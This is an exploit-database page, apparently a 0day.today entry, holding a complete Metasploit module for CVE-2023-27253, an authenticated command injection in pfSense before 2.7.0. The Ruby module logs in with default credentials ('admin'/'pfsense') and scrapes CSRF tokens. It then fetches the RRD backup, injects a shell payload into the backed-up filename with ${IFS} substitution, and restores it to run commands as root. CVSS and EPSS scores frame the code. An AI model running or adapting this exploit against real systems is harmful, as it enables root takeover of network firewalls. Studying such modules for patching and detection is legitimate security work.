Lucene search

K
zdtEmir Polat1337DAY-ID-38890
HistoryJul 21, 2023 - 12:00 a.m.

pfSense v2.7.0 - OS Command Injection Exploit

2023-07-2100:00:00
Emir Polat
0day.today
106
pfsense
command injection
cve-2023-27253
privilege escalation
authentication
csrf
remote exploit
http client
backup & restore
diagnostics
root user
unix
version detection
metasploit module
vulnerability discovery

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.481 Medium

EPSS

Percentile

97.5%

# Exploit Title: pfSense v2.7.0 - OS Command Injection 
#Exploit Author: Emir Polat
# CVE-ID : CVE-2023-27253

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'pfSense Restore RRD Data Command Injection',
        'Description' => %q{
          This module exploits an authenticated command injection vulnerabilty in the "restore_rrddata()" function of
          pfSense prior to version 2.7.0 which allows an authenticated attacker with the  "WebCfg - Diagnostics: Backup & Restore"
          privilege to execute arbitrary operating system commands as the "root" user.

          This module has been tested successfully on version 2.6.0-RELEASE.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Emir Polat', # vulnerability discovery & metasploit module
        ],
        'References' => [
          ['CVE', '2023-27253'],
          ['URL', 'https://redmine.pfsense.org/issues/13935'],
          ['URL', 'https://github.com/pfsense/pfsense/commit/ca80d18493f8f91b21933ebd6b714215ae1e5e94']
        ],
        'DisclosureDate' => '2023-03-18',
        'Platform' => ['unix'],
        'Arch' => [ ARCH_CMD ],
        'Privileged' => true,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'Payload' => {
          'BadChars' => "\x2F\x27",
          'Compat' =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic netcat'
            }
        },
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options [
      OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),
      OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense'])
    ]
  end

  def check
    unless login
      return Exploit::CheckCode::Unknown("#{peer} - Could not obtain the login cookies needed to validate the vulnerability!")
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return Exploit::CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    unless res&.body&.include?('Diagnostics: ')
      return Exploit::CheckCode::Safe('Vulnerable module not reachable')
    end

    version = detect_version
    unless version
      return Exploit::CheckCode::Detected('Unable to get the pfSense version')
    end

    unless Rex::Version.new(version) < Rex::Version.new('2.7.0-RELEASE')
      return Exploit::CheckCode::Safe("Patched pfSense version #{version} detected")
    end

    Exploit::CheckCode::Appears("The target appears to be running pfSense version #{version}, which is unpatched!")
  end

  def login
    # Skip the login process if we are already logged in.
    return true if @logged_in

    csrf = get_csrf('index.php', 'GET')
    unless csrf
      print_error('Could not get the expected CSRF token for index.php when attempting login!')
      return false
    end

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'POST',
      'vars_post' => {
        '__csrf_magic' => csrf,
        'usernamefld' => datastore['USERNAME'],
        'passwordfld' => datastore['PASSWORD'],
        'login' => ''
      },
      'keep_cookies' => true
    )

    if res && res.code == 302
      @logged_in = true
      true
    else
      false
    end
  end

  def detect_version
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )

    # If the response isn't a 200 ok response or is an empty response, just return nil.
    unless res && res.code == 200 && res.body
      return nil
    end

    if (%r{Version.+<strong>(?<version>[0-9.]+-RELEASE)\n?</strong>}m =~ res.body).nil?
      nil
    else
      version
    end
  end

  def get_csrf(uri, methods)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, uri),
      'method' => methods,
      'keep_cookies' => true
    )

    unless res && res.body
      return nil # If no response was returned or an empty response was returned, then return nil.
    end

    # Try regex match the response body and save the match into a variable named csrf.
    if (/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body).nil?
      return nil # No match could be found, so the variable csrf won't be defined.
    else
      return csrf
    end
  end

  def drop_config
    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when dropping the config!')
    end

    post_data = Rex::MIME::Message.new

    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('Download configuration as XML', nil, nil, 'form-data; name="download"')
    post_data.add_part('', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part('', 'application/octet-stream', nil, 'form-data; name="conffile"')
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'keep_cookies' => true
    )

    if res && res.code == 200 && res.body =~ /<rrddatafile>/
      return res.body
    else
      return nil
    end
  end

  def exploit
    unless login
      fail_with(Failure::NoAccess, 'Could not obtain the login cookies!')
    end

    csrf = get_csrf('diag_backup.php', 'GET')
    unless csrf
      fail_with(Failure::UnexpectedReply, 'Could not get the expected CSRF token for diag_backup.php when starting exploitation!')
    end

    config_data = drop_config
    if config_data.nil?
      fail_with(Failure::UnexpectedReply, 'The drop config response was empty!')
    end

    if (%r{<filename>(?<file>.*?)</filename>} =~ config_data).nil?
      fail_with(Failure::UnexpectedReply, 'Could not get the filename from the drop config response!')
    end
    config_data.gsub!(' ', '${IFS}')
    send_p = config_data.gsub(file, "WAN_DHCP-quality.rrd';#{payload.encoded};")

    post_data = Rex::MIME::Message.new

    post_data.add_part(csrf, nil, nil, 'form-data; name="__csrf_magic"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="backuparea"')
    post_data.add_part('yes', nil, nil, 'form-data; name="donotbackuprrd"')
    post_data.add_part('yes', nil, nil, 'form-data; name="backupssh"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password"')
    post_data.add_part('', nil, nil, 'form-data; name="encrypt_password_confirm"')
    post_data.add_part('rrddata', nil, nil, 'form-data; name="restorearea"')
    post_data.add_part(send_p.to_s, 'text/xml', nil, "form-data; name=\"conffile\"; filename=\"rrddata-config-pfSense.home.arpa-#{rand_text_alphanumeric(14)}.xml\"")
    post_data.add_part('', nil, nil, 'form-data; name="decrypt_password"')
    post_data.add_part('Restore Configuration', nil, nil, 'form-data; name="restore"')

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'diag_backup.php'),
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'data' => post_data.to_s,
      'keep_cookies' => true
    )

    if res
      print_error("The response to a successful exploit attempt should be 'nil'. The target responded with an HTTP response code of #{res.code}. Try rerunning the module.")
    end
  end
end

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

0.481 Medium

EPSS

Percentile

97.5%